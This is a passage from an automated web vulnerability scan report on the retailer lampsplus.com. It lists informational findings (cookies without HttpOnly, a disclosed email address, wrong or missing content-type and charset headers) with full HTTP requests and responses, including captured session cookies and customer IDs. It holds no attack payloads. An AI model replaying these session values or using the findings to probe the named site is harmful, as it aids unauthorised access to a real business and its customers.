Set-Cookie: SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; domain=.lampsplus.com; path=/
Set-Cookie: QureyStringParameters=; path=/
Set-Cookie: lpqs_sd=False; path=/
Content-Length: 111486


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <meta http-equiv="C
...[SNIP]...

9.10. http://www.lampsplus.com/products/onsale_view-on-sale-items/category_chandeliers/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/onsale_view-on-sale-items/category_chandeliers/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /products/onsale_view-on-sale-items/category_chandeliers/ HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: www.lampsplus.com

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 16:25:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 16:25:55 GMT
Connection: close
Set-Cookie: lastSearchPage=/products/onsale_view-on-sale-items/category_chandeliers/; path=/
Set-Cookie: custid=723580566208101226; domain=.lampsplus.com; path=/
Set-Cookie: productsperpage=60; path=/
Set-Cookie: prevresultscount=14; path=/
Set-Cookie: LPSiteClarity=categoryid=4&categoryname=chandeliers&styleid=0&stylename=; domain=.lampsplus.com; path=/
Set-Cookie: GUID=6dc94985-07e3-4519-9e3b-c1a6782b6ac9; domain=.lampsplus.com; expires=Tue, 18-Dec-2040 08:00:00 GMT; path=/
Content-Length: 99851


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Chandeliers,
...[SNIP]...

9.11. http://www.lampsplus.com/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/ HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 82119
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:31:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:31:39 GMT
Connection: close
Set-Cookie: lastSearchPage=/products/s_contemporary-transitional-espresso-wood-wood-veneer-entertainment-centers-tv-solutions/category_cabinets-and-storage/; path=/
Set-Cookie: custid=178857560152101226; domain=.lampsplus.com; path=/
Set-Cookie: productsperpage=60; path=/
Set-Cookie: prevresultscount=5; path=/
Set-Cookie: LPSiteClarity=categoryid=55&categoryname=cabinets and storage&styleid=0&stylename=; domain=.lampsplus.com; path=/
Set-Cookie: QureyStringParameters=; path=/
Set-Cookie: lpcoremetricscid=600; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Cabinets And
...[SNIP]...

10. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/cart/shoppingcart.aspx

Issue detail

The following email addresses were disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /htmls/cart/shoppingcart.aspx HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/cart/Add-To-Cart.aspx?qty=1&ms=1293373423693
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; ATC-AddedItems-ShortSKUs=F6506; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Expires: Sun, 26 Dec 2010 14:24:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:12 GMT
Connection: close
Content-Length: 105738


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Lamps Plus S
...[SNIP]...
<a href="mailto:sales@lampsplus.com">sales@LampsPlus.com</a>
...[SNIP]...

11. Multiple content types specified  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /js/product.js

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /js/product.js HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 15 Dec 2010 00:02:47 GMT
Accept-Ranges: bytes
ETag: "1de0c767eb9bcb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Date: Sun, 26 Dec 2010 14:23:01 GMT
Connection: close
Content-Length: 42235

var POWERREVIEWS=POWERREVIEWS||(function(){var Ah={common:{},display:{}};var AE=false;var AF=false;var U=null;var AB={};var l={};var AQ={};var AI={};Ah.common.gResult=AI;window.gResult=AI;var AV={};va
...[SNIP]...
<!-- janky -->"));return Ay.join("")}Ah.display.processRollupTemplate=C;function X(BH,A8,BD,Ax,i,An,BI,As,Az,BG,Av){var A3=[];A3.push(unescape('<meta http-equiv="Content-type" content="text/html; charset=UTF-8">'));var Aw=(BI-1)*An;var Ar=Aw+An-1;if(Ar>
...[SNIP]...

12. HTML does not specify charset  previous  next
There are 2 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


12.1. http://www.lampsplus.com/htmls/fancomparisonchart/openwindow.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/fancomparisonchart/openwindow.asp

Request

GET /htmls/fancomparisonchart/openwindow.asp HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 1163
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:32:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:32:38 GMT
Connection: close


<html>
<head>
<title>
   You already have 3 fans
</title>
   <script language="javascript">
    function fancomparisonchart(){
       if(window.opener && !window.opener.closed){
           window.opener.
...[SNIP]...

12.2. http://www.lampsplus.com/htmls/projects/manage.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.lampsplus.com
Path:   /htmls/projects/manage.asp

Request

GET /htmls/projects/manage.asp HTTP/1.1
Host: www.lampsplus.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: hs_basket=337~F6506|; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; lpqs_sd=False; ATC-AddedItems-ShortSKUs=F6506; portid=00000000-0000-0000-0000-000000000000; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; CMCookieFooterPlacement=Cabinets%20and%20Storage; CoreAt=90065468=1|2|0|0|0|1|0|1|0|0|0|0|1|1293373360||&; frompage=; remarketing_return=1293373428457; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; cmTPSet=Y; __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; __utmb=116051099.2.10.1293373357; custid=178857560152101226; CMCookieFooterVendor=BCME-SH; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); QureyStringParameters=; cid=20101226062301596; F6506=1|999.91|131~Linair+Plasma+TV+Entertainment+Console~1012~F6506~1007~http%3a%2f%2fimage.lampsplus.com%2fis%2fimage%2fF6506.fpx%3fqlt%3d75%26wid%3d85%26hei%3d85%26fmt%3djpeg~1113~55~1112~cabinets+and+storage~1138~13~1139~contemporary; source=DFBCMEF6506;

Response

HTTP/1.1 200 OK
Content-Length: 65192
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:32:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:32:13 GMT
Connection: close
Set-Cookie: lpcoremetricscid=117; domain=.lampsplus.com; path=/


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <TITLE>Lamps Plus - Project
...[SNIP]...

13. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


13.1. http://www.lampsplus.com/Orders/json/CartQuantitiesJson.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.lampsplus.com
Path:   /Orders/json/CartQuantitiesJson.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /Orders/json/CartQuantitiesJson.aspx?ms=1293373423693 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468; custid=178857560152101226; frompage=; ATC-YouMayAlsoLikeItems-ShortSKUs=F6466,87534-45518,F9542-G4269

Response

HTTP/1.1 200 OK
Content-Length: 226
Content-Type: text/plain; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:24:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:08 GMT
Connection: close


{
"CustId":"178857560152101226",
"Items":
[{"SKU":"F6506", "Quantity":"1"}
],
"TotalItems":"1"

...[SNIP]...

13.2. http://www.lampsplus.com/Portfolio/json/CurrentPortfolioJson.aspx  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.lampsplus.com
Path:   /Portfolio/json/CurrentPortfolioJson.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /Portfolio/json/CurrentPortfolioJson.aspx?ms=1293373356991 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False

Response

HTTP/1.1 200 OK
Content-Length: 332
Content-Type: text/plain; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:23:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:23:01 GMT
Connection: close
Set-Cookie: cid=20101226062301596; domain=.lampsplus.com; path=/
Set-Cookie: ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; domain=.lampsplus.com; path=/; HttpOnly
Set-Cookie: portid=00000000-0000-0000-0000-000000000000; domain=.lampsplus.com; path=/


{
"ID":"00000000-0000-0000-0000-000000000000",
"CustomerID":"0",
"Name":"",
"Saved":"False",
"DateModified":"1/1/0001 12:00:00 AM",
"EmployeeNumber":"",
"Custome
...[SNIP]...

13.3. http://www.lampsplus.com/htmls/cart/add.aspx  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.lampsplus.com
Path:   /htmls/cart/add.aspx

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /htmls/cart/add.aspx?catalogprefix=&commaskus=F6506,1&specialdiscountflag=false&ajax=true&ms=1293373422745 HTTP/1.1
Host: www.lampsplus.com
Proxy-Connection: keep-alive
Referer: http://www.lampsplus.com/products/Linair-Plasma-TV-Entertainment-Console__F6506.html
X-Requested-With: XMLHttpRequest
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CMCookieFooterVendor=BCME-SH; CMCookieFooterCategory=Cabinets%20and%20Storage; CMCookieFooterPlacement=Cabinets%20and%20Storage; CMCookieFooterItem=F6506; GUID=917b51e2-22e5-4314-8874-93fc786f91fe; source=DFBCMEF6506; SiteClarity_f6506=shortsku=f6506&categoryid=55&categoryname=cabinets+and+storage&styleid=13&stylename=contemporary; QureyStringParameters=; lpqs_sd=False; __utmz=116051099.1293373357.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=116051099.234523245.1293373357.1293373357.1293373357.1; __utmc=116051099; __utmb=116051099.1.10.1293373357; cid=20101226062301596; ASP.NET_SessionId=hlnweb45azhifu45evtsxk2a; portid=00000000-0000-0000-0000-000000000000; ATC-AddedItems-ShortSKUs=F6506; CoreAt=90065468=1|1|0|0|0|0|0|1|0|0|0|0|1|1293373360||&; cmRS=&t1=1293373357153&t2=-1&t3=1293373422001&lti=1293373422000&ln=&hr=%23&fti=&fn=Products%3A0%3BUNDEFINED%3A1%3B&ac=&fd=&uer=&fu=&pi=Product%3A%20Linair%20Plasma%20TV%20Entertainment%20Console%20%28F6506%29&ho=www9.lampsplus.com/cm%3F&ci=90065468

Response

HTTP/1.1 200 OK
Content-Length: 19
Content-Type: text/html; charset=us-ascii
Server: Microsoft-IIS/7.5
X-AspNet-Version: 1.1.4322
X-Powered-By: ASP.NET
Expires: Sun, 26 Dec 2010 14:24:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sun, 26 Dec 2010 14:24:07 GMT
Connection: close
Vary: Accept-Encoding
Set-Cookie: custid=178857560152101226; domain=.lampsplus.com; path=/
Set-Cookie: frompage=; path=/

{message:"success"}

Report generated by XSS.CX at Mon Dec 27 10:34:48 CST 2010.